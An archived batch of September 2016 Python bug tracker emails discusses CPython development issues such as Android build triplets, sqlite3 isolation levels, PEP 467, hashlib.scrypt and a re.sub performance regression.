x86_64-linux-android-gcc

Does Python's platform triplet have the same meaning as GCC's --target? If so those names can be used.

By the way, +1 for not including the API level.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 13:55:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 01 Sep 2016 17:55:44 +0000
Subject: [issue27919] Deprecate and remove extra_path distribution kwarg
In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za>
Message-ID: <20160901175540.16442.17444.500EA003@psf.io>


Roundup Robot added the comment:

New changeset 94710cbcac47 by Jason R. Coombs in branch 'default':
Issue #27919: Deprecate extra_path option in distutils.
https://hg.python.org/cpython/rev/94710cbcac47

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27919>
_______________________________________

From report at bugs.python.org  Thu Sep  1 13:56:37 2016
From: report at bugs.python.org (Aviv Palivoda)
Date: Thu, 01 Sep 2016 17:56:37 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1472752597.45.0.658175459515.issue27881@psf.upfronthosting.co.za>


Aviv Palivoda added the comment:

What do you think about removing the isolation_level member from the pysqlite_Connection. It is only there to be for the pysqlite_connection_get_isolation_level and that could be easily calculated from the begin_statement.

----------
Added file: http://bugs.python.org/file44328/issue27881_v5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:03:54 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Thu, 01 Sep 2016 18:03:54 +0000
Subject: [issue27919] Deprecate and remove extra_path distribution kwarg
In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za>
Message-ID: <1472753034.21.0.00435700064915.issue27919@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Thanks, Nick. I've also observed that the package that was mentioned in the comments was "Numeric Python" and I confirmed that numpy is not currently using this option, so that's a positive indication that it's unneeded. I've also reached out to New Relic and invited them to comment here about the value they get (if any) from the option.

I've committed the deprecation warning as well. I'll plan to mirror this deprecation warning in Setuptools to get faster feedback. I'm open to reverting this change before the final release of Python 3.6 if it turns out to be a necessary feature.

As for your first suggestion - having Setuptools disable the behavior, I'm not sure Setuptools has the context to disable the behavior, because at the time pip is invoking the install command, Setuptools doesn't know whether pip is going to install the packages into platlib or elsewhere. At least, that's my presumption; I haven't dived into the code. I'm okay with not having a workaround if later versions of Setuptools and Python can disable the functionality without breaking anything but the most obscure packages.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27919>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:13:57 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Thu, 01 Sep 2016 18:13:57 +0000
Subject: [issue901727] extra_path kwarg to setup() undocumented
Message-ID: <1472753637.27.0.325999872851.issue901727@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Given the progression in issue27919, I suggest this documentation effort can be dropped, but feel free to revive the conversation if you disagree.

----------
nosy: +jason.coombs
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue901727>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:19:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 18:19:14 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472753954.38.0.698723072474.issue27923@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I'm not convinced that the zeros() method is needed. Zero-initialized sequences can be created via sequence repetition. Sorry, but arguments against this sound like "we made bad design decision in the past, let repeat it with new name" to me.

In any case if you want to write a code for different Python versions you should use sequence repetition.

Here is a patch that replaces all creations of zero-initialized bytes and bytearray objects in the stdlib and tests with repetitions. All tests (except test_bytes of course) are passed on Linux if disallow an int argument in bytes and bytearray constructors.

----------
nosy: +serhiy.storchaka
Added file: http://bugs.python.org/file44329/no_bytes_from_int.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:19:19 2016
From: report at bugs.python.org (Bernard Spil)
Date: Thu, 01 Sep 2016 18:19:19 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472753959.08.0.615645619709.issue26470@psf.upfronthosting.co.za>


Bernard Spil added the comment:

Hi Christian,

Great stuff!

Please can you replace the HAVE_RAND_EGD ifdefs into OPENSSL_NO_EGD checks? Then the RAND_egd checks in configure.ac can also be removed.

This was introduced by OpenSSL in https://github.com/openssl/openssl/commit/0423f812dc61f70c6ae6643191259ca9e5692c7f and is consistent with the naming in LibreSSL.

Cheers,

Bernard.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:25:39 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 18:25:39 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1472754339.52.0.610783059089.issue27881@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yes, I thought about this. This changes the behavior (for now isolation_level returns exactly the same object that was assigned to it) and slows down the getter. This can be added only on the default branch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:25:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 01 Sep 2016 18:25:55 +0000
Subject: [issue27888] Hide pip install/uninstall windows in setup
In-Reply-To: <1472503775.99.0.744395565983.issue27888@psf.upfronthosting.co.za>
Message-ID: <20160901182546.22337.43082.5F85A201@psf.io>


Roundup Robot added the comment:

New changeset e065aec0e6fa by Steve Dower in branch '2.7':
Issue #27888: Prevent Windows installer from displaying console windows and failing when pip cannot be installed/uninstalled.
https://hg.python.org/cpython/rev/e065aec0e6fa

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27888>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:37:26 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 01 Sep 2016 18:37:26 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472755046.34.0.18134173278.issue27923@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Two things to note:

- there is no need to change the stdlib to use anything besides the default
  constructor -- it's not going away, and it already works (my apologies if
  I misunderstood)

- PEP 467 has not yet been accepted (unless I missed that?)

However, thank you for getting some code written!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:40:43 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 01 Sep 2016 18:40:43 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472755243.47.0.998756376551.issue27917@psf.upfronthosting.co.za>


Matthias Klose added the comment:

yes, it should follow the gnu triplets. I updated these, and added some for mips. However I can't check if the mips ones will do what they are supposed to do. Please could you check these if you have cross compilers available?

----------
Added file: http://bugs.python.org/file44330/android.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:41:15 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 01 Sep 2016 18:41:15 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472755275.93.0.06332642457.issue27917@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Removed file: http://bugs.python.org/file44327/android.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:44:15 2016
From: report at bugs.python.org (=?utf-8?b?0KTQtdC00L7RgCDQm9GP0L3Qs9GD0LfQvtCy?=)
Date: Thu, 01 Sep 2016 18:44:15 +0000
Subject: [issue27933] functools.lru_cache seems to not work when renaming
 decorated functions
In-Reply-To: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>
Message-ID: <1472755455.65.0.254767778967.issue27933@psf.upfronthosting.co.za>


????? ???????? added the comment:

Ok, thank you very much, i've got a little smarter today. Now i understand, that user_function (in this case factorial) is not modified by decorator, it is my job to change factorial to wrapper by assignment. Enlightning.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 14:49:41 2016
From: report at bugs.python.org (Aviv Palivoda)
Date: Thu, 01 Sep 2016 18:49:41 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1472755781.79.0.488402358284.issue27881@psf.upfronthosting.co.za>


Aviv Palivoda added the comment:

The only change I see that can happen is that we return upper case isolation level when the user used a lower case. I think that it is worth to slow down the getter for the code simplification.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:00:52 2016
From: report at bugs.python.org (Aviv Palivoda)
Date: Thu, 01 Sep 2016 19:00:52 +0000
Subject: [issue16379] SQLite error code not exposed to python
In-Reply-To: <1351764878.68.0.13361347428.issue16379@psf.upfronthosting.co.za>
Message-ID: <1472756452.36.0.153083095569.issue16379@psf.upfronthosting.co.za>


Changes by Aviv Palivoda <palaviv at gmail.com>:


Added file: http://bugs.python.org/file44331/16379-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16379>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:22:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 01 Sep 2016 19:22:06 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <20160901192203.8356.78970.B8741F07@psf.io>


Roundup Robot added the comment:

New changeset 546b1f70cbed by Serhiy Storchaka in branch '3.5':
Issue #27881: Fixed possible bugs when setting sqlite3.Connection.isolation_level.
https://hg.python.org/cpython/rev/546b1f70cbed

New changeset 96e05f1af2c8 by Serhiy Storchaka in branch 'default':
Issue #27881: Fixed possible bugs when setting sqlite3.Connection.isolation_level.
https://hg.python.org/cpython/rev/96e05f1af2c8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:25:00 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Thu, 01 Sep 2016 19:25:00 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472757900.09.0.962127233946.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

Here is a patch with all of my latest changes, including the changes that Martin suggested for the tests.

----------
Added file: http://bugs.python.org/file44332/pep467_attempt2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:25:58 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 01 Sep 2016 19:25:58 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472757958.28.0.349815835701.issue27917@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

CPython builds fine for MIPS with this patch. For MIPS64, apparently Android NDK is broken - it can't even compile a simple C file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:27:35 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Thu, 01 Sep 2016 19:27:35 +0000
Subject: [issue22881] show median in benchmark results
In-Reply-To: <1416131417.96.0.330173729737.issue22881@psf.upfronthosting.co.za>
Message-ID: <1472758055.77.0.774858523417.issue22881@psf.upfronthosting.co.za>


Changes by Stefan Behnel <scoder at users.sourceforge.net>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:28:28 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 19:28:28 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1472758108.37.0.971372690221.issue27921@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> -            result.append(f'  [Previous line repeated {count-3} more times]\n')
> +            result.append(f'  [Previous line repeated {count-3} more times]''\n')

This looks a little ugly.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:41:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 19:41:46 +0000
Subject: [issue27925] Nicer interface to convert hashlib digests to int
In-Reply-To: <1472718708.44.0.588974083433.issue27925@psf.upfronthosting.co.za>
Message-ID: <1472758906.64.0.899298103912.issue27925@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

There is another way:

    int.from_bytes(x.digest(), 'big')

Note that converting to int you lose the length of the digest. md5 digest d41d8cd98f00b204e9800998ecf8427e and sha1 digest 00000000d41d8cd98f00b204e9800998ecf8427e are converted to the same int. This can add a vulnerability.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27925>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:42:44 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 01 Sep 2016 19:42:44 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472758964.96.0.0781618128893.issue27917@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

OK found some wrong usages in my build script. Now MIPS64 builds fine, and PLATFORM_TRIPLET is detected as intended. I didn't test the build on actual devices, as I don't have a MIPS or MIPS64 device.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 15:44:06 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 01 Sep 2016 19:44:06 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472746701.16.0.281410260843.issue27928@psf.upfronthosting.co.za>
Message-ID: <CAGE7PNJf7A_xhdVVVBnYxwFerdWeFbW98dp8KzrQ-53rw5GJhg@mail.gmail.com>


Gregory P. Smith added the comment:

Rather than PyArg_ParseTupleAndKeywords can you have it use argument clinic?

Also, how about making all arguments other than password be keyword only so
that code calling the function is more clear.  Otherwise it's a bit of
positional argument soup with a lot of integers and potential to invert
password and salt without realizing it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:02:22 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 01 Sep 2016 20:02:22 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472760142.53.0.185593733425.issue27917@psf.upfronthosting.co.za>


Matthias Klose added the comment:

I think that's good for now. The compiler checks maybe can be later adjusted.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:05:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 01 Sep 2016 20:05:32 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <20160901200527.16401.37460.0A91D6FF@psf.io>


Roundup Robot added the comment:

New changeset a931fdc4c4c4 by doko in branch 'default':
- Issue #27917: Set platform triplets for Android builds.
https://hg.python.org/cpython/rev/a931fdc4c4c4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:06:08 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 01 Sep 2016 20:06:08 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472760368.01.0.282265991869.issue27917@psf.upfronthosting.co.za>


Matthias Klose added the comment:

checked in.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:20:23 2016
From: report at bugs.python.org (Eddie James)
Date: Thu, 01 Sep 2016 20:20:23 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
Message-ID: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>


New submission from Eddie James:

JSON does not correctly encode dbus.Double types, even though all other dbus types are handled fine. I end up with output like this (0.25 is the floating point value): dbus.Double(0.25, variant_level=1)

Found that the encoding uses repr() for float objects but uses str() for integer objects. I propose a change to use str() for float objects as well. This could be ported back to 2.7 as well

----------
components: Library (Lib)
files: json-float-str-default.patch
keywords: patch
messages: 274179
nosy: eajames
priority: normal
severity: normal
status: open
title: json float encoding incorrect for dbus.Double
type: behavior
versions: Python 2.7, Python 3.6
Added file: http://bugs.python.org/file44333/json-float-str-default.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:23:47 2016
From: report at bugs.python.org (Eddie James)
Date: Thu, 01 Sep 2016 20:23:47 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472761427.2.0.452759304313.issue27934@psf.upfronthosting.co.za>


Changes by Eddie James <eajames at us.ibm.com>:


Added file: http://bugs.python.org/file44334/json-float-str-2.7.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:27:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 20:27:50 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472761670.74.0.878408623395.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Argument is easy.

Your second request is a very good idea but also harder to implement. Neither PyArg_Parse nor clinic have a way to declare arguments that required and keyword only but have no default value. I have a workaround but it ain't beautiful.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:32:39 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 01 Sep 2016 20:32:39 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472761959.52.0.228954608634.issue27928@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

If clinic doesn't support required keyword only args then don't worry about it for now. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 17:01:26 2016
From: report at bugs.python.org (Steve Newcomb)
Date: Thu, 01 Sep 2016 21:01:26 +0000
Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12
In-Reply-To: <25e15524-06ae-5739-bdb0-7dc7ae77371c@coolheads.com>
Message-ID: <ade62137-4116-ac3c-a695-e3a3ea79aec4@coolheads.com>


Steve Newcomb added the comment:

Oops.  The correct url is sftp://coolheads.com/files/py-re-perform-276v2712/

On 09/01/2016 04:52 PM, Steve Newcomb wrote:
> On 08/30/2016 12:46 PM, Raymond Hettinger wrote:
>> Raymond Hettinger added the comment:
>>
>> It would be helpful if you ... make a small set of regular 
>> expressions that demonstrate the performance regression.
>>
> Done.  Attachments:
>
> test.py : Code that exercises re.sub() and outputs a profile report.
>
> test_output_2.7.6.txt : Output of test.py under Python 2.7.6.
>
> test_output_2.7.12.txt : Output of test.py under Python 2.7.12.
>
> p17.188.htm -- test data: public information from the U.S. Internal 
> Revenue Service.
>
> Equivalent hardware was used in both cases.
>
> The outputs show that 2.7.12's re.sub() takes 1.2 times as long as 
> 2.7.6's.  It's a significant difference, but...
>
> ...it was not the dramatic degradation I expected to find in this 
> exercise.  Therefore I attempted to tease what I was looking for out 
> of the profile stats I already uploaded to this site, made from actual 
> production runs.  My attempts are all found in an hg repository that 
> can be downloaded from 
> sftp://sftp at coolheads.com//files/py-re-perform-276-2712 using password 
> bysIe20H .
>
> I do not feel the latter work took me where I wanted to go, and I 
> think the reason is that, at least for purposes of our application, 
> Python 2.7.12 has been so extensively refactored since Python 2.7.6.  
> So it's an apples-to-oranges comparison, apparently.  Still, the 
> performance difference for re.sub() is quite dramatic , and re.sub() 
> is the only comparable function whose performance dramatically 
> worsened: in our application, 2.7.12's re.sub() takes 3.04 times as 
> long as 2.7.6's.
>
> The good news, of course, is that by and large the performance of the 
> other *comparable* functions largely improved, often dramatically.  
> But at least in our application, it doesn't come close to making up 
> for the degradation in re.sub().
>
> My by-the-gut bottom line: somebody who really knows the re module 
> should take a deep look at re.sub().  Why would re.sub(), unlike all 
> others, take so much longer to run, while *every* other function in 
> the re module get (often much) faster?  It feels like there's a bug 
> somewhere in re.sub().
>
> Steve Newcomb
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27898>
_______________________________________

From report at bugs.python.org  Thu Sep  1 17:18:35 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 21:18:35 +0000
Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12
In-Reply-To: <1472574470.7.0.512575721216.issue27898@psf.upfronthosting.co.za>
Message-ID: <1472764715.51.0.67798239298.issue27898@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo
type:  -> performance

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27898>
_______________________________________

From report at bugs.python.org  Thu Sep  1 17:29:06 2016
From: report at bugs.python.org (Stefan Krah)
Date: Thu, 01 Sep 2016 21:29:06 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472765346.37.0.535917390775.issue22458@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I think string conversion should be part of this benchmark, or it should be renamed to fraction-arith or something.

The formatting function can be a significant bottleneck, and if you use Fractions for financial calculations the result will still need to be printed in decimal floating point form.


That said, is the purpose of this benchmark to show that fractions are slow and generate interest in changing the situation?

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Thu Sep  1 17:31:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 21:31:55 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1472765346.37.0.535917390775.issue22458@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwb3vQAtF3=h9K0z-aY1673mG-gUOcaj2Oy0GRaKYDrdqw@mail.gmail.com>


STINNER Victor added the comment:

> I think string conversion should be part of this benchmark, or it should be renamed to fraction-arith or something.

The "telco" benchmark seems to be standard and well defined. I agree
that we should use a different name.

 > That said, is the purpose of this benchmark to show that fractions
are slow and generate interest in changing the situation?

I'm not really convinced that the benchmark is useful in the Python
benchmark suite, but I'm not strongly opposed to adding it neither :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Thu Sep  1 18:01:03 2016
From: report at bugs.python.org (Stefan Krah)
Date: Thu, 01 Sep 2016 22:01:03 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472767263.07.0.349176375149.issue22458@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I'm also not opposed to adding it (-0.000) as long as we rename it to bm_fractions.py and change the docstring to "based on the telco benchmark".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Thu Sep  1 18:44:25 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 01 Sep 2016 22:44:25 +0000
Subject: [issue27888] Hide pip install/uninstall windows in setup
In-Reply-To: <1472503775.99.0.744395565983.issue27888@psf.upfronthosting.co.za>
Message-ID: <1472769865.03.0.476926255022.issue27888@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27888>
_______________________________________

From report at bugs.python.org  Thu Sep  1 19:06:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 23:06:05 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472771165.15.0.0338037012361.issue22458@psf.upfronthosting.co.za>


STINNER Victor added the comment:

@Stefan Krah: Please review the pull request.

https://github.com/python/performance/pull/10

I suggested to only run the benchmark with the fractions module. I don't see the point of running the benchmark with the decimal module.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Thu Sep  1 19:30:19 2016
From: report at bugs.python.org (Doug Coleman)
Date: Thu, 01 Sep 2016 23:30:19 +0000
Subject: [issue9400] multiprocessing.pool.AsyncResult.get() messes up
 exceptions
In-Reply-To: <1280333027.17.0.112361474517.issue9400@psf.upfronthosting.co.za>
Message-ID: <1472772619.92.0.727798275372.issue9400@psf.upfronthosting.co.za>


Doug Coleman added the comment:

Six years later and I'm still running into this exact bug with ``subprocess.CalledProcessError`` on python 2.7.12 when doing a ``multiprocessing.Pool.map`` and trying to catch errors from ``subprocess.check_output``. 

What's the reason it was never fixed and backported?

----------
nosy: +Doug Coleman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9400>
_______________________________________

From report at bugs.python.org  Thu Sep  1 20:35:58 2016
From: report at bugs.python.org (Steve Newcomb)
Date: Fri, 02 Sep 2016 00:35:58 +0000
Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12
In-Reply-To: <ade62137-4116-ac3c-a695-e3a3ea79aec4@coolheads.com>
Message-ID: <699f668b-c646-9fa1-620e-8596f413f23c@coolheads.com>


Steve Newcomb added the comment:

On 09/01/2016 05:01 PM, Steve Newcomb wrote:
>
>> The outputs show that 2.7.12's re.sub() takes 1.2 times as long as 
>> 2.7.6's.  It's a significant difference, but...
>>
>> ...it was not the dramatic degradation I expected to find in this 
>> exercise.
On second (third?) thought, the degree of degradation could easily 
depend on the source data being processed.  Maybe test.py does, in fact, 
demonstrate the problem, but the test data I used (p17-118.htm) do not 
demonstrate a terribly severe case of the problem.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27898>
_______________________________________

From report at bugs.python.org  Thu Sep  1 20:59:16 2016
From: report at bugs.python.org (Tim Peters)
Date: Fri, 02 Sep 2016 00:59:16 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1472777956.6.0.288344256592.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Attched file "roots.py" you can run to get a guess as to how bad pow(x, 1/n) typically is on your box.

Note that it's usually "pretty darned good" the larger `n` is.  There's a reason for that.  For example, when n=1000, all x satisfying 1 <= x < 2**1000 have a root r satisfying 1 <= r < 2.  Mathematically, that's a 1-to-1 function, but in floating point there are only 2**52 representable r in the lstter range:  the larger n, the more of a many-to-1 function the n'th root is in native floating point precision.  That makes it much easier to get the best-possible result even by accident ;-)  So, e.g., this kind of output is common for "large" n:

n = 2272
    x**(1/n)
           -1    10
            0   982
            1     8
    with 1 native-precision step
        all correct
    with 1 extended-precision step
        all correct

That means that, out of 1000 "random-ish" x, x**(1/2272) returned a result 1 ulp smaller than best-possible 10 times, 1 ulp too large 8 times, and best-possible 982 times ("ulp" is relative to the best-possible result).  Doing any form of a single "guess + small_correction" Newton step (in either native or extended precision) repaired all the errors.

